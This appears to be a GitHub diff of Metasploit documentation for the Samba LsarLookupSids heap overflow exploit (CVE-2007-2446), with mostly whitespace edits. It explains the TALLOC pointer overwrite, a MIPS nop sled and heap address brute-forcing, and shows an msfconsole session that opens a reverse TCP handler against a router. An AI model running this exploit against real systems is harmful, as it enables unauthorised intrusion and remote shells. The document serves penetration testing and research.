|
1 | 1 | ## Vulnerable Application
|
2 | 2 |
|
3 |
| - Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). |
| 3 | + Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). |
| 4 | + |
4 | 5 | The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
|
5 | 6 |
|
6 | 7 | ## Verification Steps
|
|
19 | 20 | ### MIPS nop generator
|
20 | 21 |
|
21 | 22 | The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effectless nops. At the end of the sled the true payload is added and execution will eventually hit this code.
|
| 23 | + |
22 | 24 | A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
|
23 |
| - |
| 25 | + |
24 | 26 | ### Heap address bruteforce
|
25 | 27 |
|
26 |
| - The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly then the nop sled will be hit and code execution will follow. If the nop sled is missed then the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash a new heap address is chosen and exploitation is attempted again. |
27 |
| - When porting the exploit to a new system the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_ |
| 28 | + The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again. |
| 29 | + |
| 30 | + When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router, the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_ |
28 | 31 |
|
29 | 32 | ## Scenarios
|
30 | 33 |
|
31 |
| - msf > use exploit/linux/samba/lsa\_transnames_heap |
| 34 | + msf > use exploit/linux/samba/lsa\_transnames_heap |
32 | 35 | msf exploit(lsa\_transnames_heap) > set target 7
|
33 | 36 | target => 7
|
34 | 37 | msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
|
|
53 | 56 |
|
54 | 57 | msf exploit(lsa\_transnames_heap) > exploit
|
55 | 58 |
|
56 |
| - [*] Started reverse TCP handler on 192.168.1.3:4444 |
| 59 | + [*] Started reverse TCP handler on 192.168.1.3:4444 |
57 | 60 | [*] 192.168.1.1:445 - Creating nop sled....
|
58 | 61 | [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
|
59 | 62 | [*] 192.168.1.1:445 - Connecting to the SMB service...
|
|
0 commit comments